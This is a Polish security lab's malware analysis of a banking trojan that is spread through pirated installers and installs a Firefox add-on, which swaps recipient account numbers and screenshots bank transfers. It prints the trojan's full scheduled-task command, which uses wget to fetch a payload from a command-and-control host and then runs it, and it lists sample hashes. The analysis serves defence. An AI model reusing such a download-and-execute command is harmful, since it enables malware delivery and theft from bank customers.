Następca Banatrixa: dodatek do przeglądarki

Data publikacji: 21/01/2016, Malgorzata Debska

zorro_foxW ostatnim czasie do laboratorium naszego zespołu trafiła próbka złośliwego oprogramowania atakująca polskich użytkowników bankowości elektronicznej. Analiza tego zagrożenia daje nam podstawy twierdzić, że jest to kolejne oprogramowanie napisane przez tego samego autora (albo grupę autorów) co wcześniej opisywany przez nas Banatrix, kampania mailowa, rzekomo od Poczty Polskiej czy zeszłoroczny Slave .

Etap I: wypakowanie i dodanie zadania systemowego

Sądząc po przebiegu pierwszego etapu infekcji tym konkretnym rodzajem złośliwego oprogramowania uważamy, że najbardziej prawdopodobnym wektorem ataku było pobranie malware z któregoś z popularnych serwisów do wymiany plikami lub sieci P2P (częsta praktyka w przypadku Banatrixa). Na samym początku, niczego nieświadomy użytkownik, pobierał zainfekowany plik instalatora jednego z programów (np. Winamp, Corel PaintShop, PowerIso), sterowniki albo zcrackowaną wersję gry Minecraft. W większości przypadków, instalator oprócz wykonania normalnych działań uruchamiał również kod droppera.

Zadaniem droppera było wypakowanie popularnego programu służącego do pobierania plików z Internetu (wget.exe) oraz zdefiniowanie okresowego zadania systemowego (Sheduled Task). Jest to ciekawa alternatywa uzyskiwania persystencji bez dodawania wpisu w odpowiednim kluczu rejestru.

plugin_ff1

Pełna treść reguły:

1
cmd /R cd „C:\Documents and Settings\All Users\Application Data” & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 –retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=YpXJRAmoSwKHkOamfqqM;winamp;1451925755 & start cmd /R dat.bmp

W ten sposób, zainfekowana maszyna informowała C&C z jakiego instalatora pochodzi, kiedy został on uruchomiony oraz ściągała kolejny plik.

Mimo, że sam pomysł można uznać za w miarę ciekawy to z wykonaniem było już trochę gorzej. W przypadku każdej analizowanej próbki adresy C&C zahardkodowane były w instalatorze.

plugin_ff2

Etap II: pobranie kolejnego pliku i wypakowanie dodatku do Firefoxa

Zadaniem dociąganego przy pomocy Wget.exe pliku, było wypakowanie do odpowiedniego folderu dodatku do popularnej przeglądarki Mozllia Firefox. W przypadku tego złośliwego oprogramowania spotkaliśmy się wyłącznie z wersją pluginu do Firefoxa. Nie wykluczamy jednak, że mogą istnieć także wersje dla Chrome.
Dodatek po wypakowaniu umiejscawia się w standardowej dla Firefoxa ścieżce czyli:

plugin_ff3

Nazwa pliku XPI także zahardkodowana jest w kodzie. Po wypakowaniu plików do folderu, plugin staje się widoczny z poziomu przeglądarki pod nazwą Firefox Google Search.

Etap III: Analiza pluginu i podmiana numeru konta

Dodatek do Firefoxa wykorzystuje nsITraceableChannel czyli interfejs pozwalający na zarejestrowanie stream listenera w kanale HTTP i monitorowanie wszystkich przechodzących przez niego danych. Jest to technika wykorzystywana przez wiele pluginów, zwłaszcza tych służących do blokowania reklam, oraz przez popularne narzędzie deweloperskie – firebuga. Po komentarzach zawartych w kodzie oraz analizie jego struktury możemy stwierdzić, że został on skopiowany z jednego z dostępnych tutoriali.

plugin_ff5

Opisywany dodatek ma dwa główne zadania:

    • pobieranie numeru konta, które ma zostać podmienione,
    • wykonywanie i wysyłanie screenshotów z przeglądarki podczas wykonywania przelewów (włącznie z kwotami).

      Poniżej znajduje się kod odpowiedzialny za komunikację z C&C w celu pobrania numeru konta:

      plugin_ff4

      z czego ‘identyfikator‘ dla każdego zainfekowanego hosta jest wyliczany przy pomocy funkcji:

      1
      Math.floor((Math.random() * 999888999) + 1000000)

      Zapytanie o konto odbiorcy, które ma zostać użyte w czasie wykonywania przelewu, pobierane jest bezpośrednio przed wykonaniem transakcji. W odpowiedzi przeglądarka otrzymuje plik .js wykonywany przez plugin, zawierający nie tylko numer konta słupa ale także pełną listę serwisów na których podmiana ma nie zachodzić (polskie serwisy aukcyjne używające płatności przez pośredników) czy ograniczenia dotyczące minimalnej i maksymalnej kwoty przelewu.
      Wstrzykiwany kod dba również o to, żeby użytkownik nie zauważył, że numer konta został podmieniony. Nie dopuszcza do tego aby na ekranie pojawił się inny numer, niż zdefiniowany przez użytkownika. Można się jednak ustrzec przed tym porównując numer odbiorcy z numerem przesłanym w treści jednorazowego kodu smsowego z banku.

      Dzięki temu, że większość rzeczywistego kodu pluginu jest dociągana z serwera C&C podczas wykonywania przelewu, sam dodatek nie jest złośliwy i nie jest wykrywany przez żaden z silników antywirusowych.
      Ważne jest jednak to, że nie jest on podpisany przez addons.mozilla.org a zgodnie z najnowszą polityką Mozilla Foundation od wersji 43 (najnowszej stabilnej) dodatki nie posiadające podpisu są automatycznie blokowane. Radzimy więc zaktualizować przeglądarkę do najnowszej wersji.

      Podsumowanie
      Jak widać polscy autorzy złośliwego oprogramowania wciąż szukają nowych metod na kradzież pieniędzy od zainfekowanych użytkowników jednocześnie minimalizując wykrycie swoich działań przed silnikami antywirusowymi. Przykład przeanalizowanego pluginu pokazuje, że nie podejmują żadnych akcji w przypadku przelewów na zbyt małe oraz zbyt duże kwoty, a numer konta słupa zostaje ujawniony bezpośrednio przed transakcją. W tym przypadku, przestępcy nie musieli przejmować kontroli nad żadnym urządzeniem – wystarczył przeglądarkowy dodatek.

      Skróty próbek malware:

      I dropper – instalator programu

      1
      2
      3
      e60777fbf6a65021886b41454ca3a37ac685ab2ef04d5dbed1c1b9d99287e37e
      ef866e56bb920e2cf5dd63c15e3cd654905a2e0176c657508e0f087f7e6686c1
      99be6b16989a190bc253fb442ab3d7363afeab5b71a6d3f021acfab558959cef

      II dropper – dat.bmp

      1
      2
      507c0c05268a142f595113a424b57f63e1bc704362321c2009c42c8c424a6435
      eda320cf33c8100c70c06ae6cd35f689c8159991aeef49d16cac520a3c8db008

      Dodatek do Firefox

      1
      2
      1e8e649279c84fc918d8ac3bc776114a545f7b1689fe3e90b7f77740a80fe345
      3d59b246b4c7da094b43da4e2d2e4bf8c3d0723811f954cce54aa521bc5d019c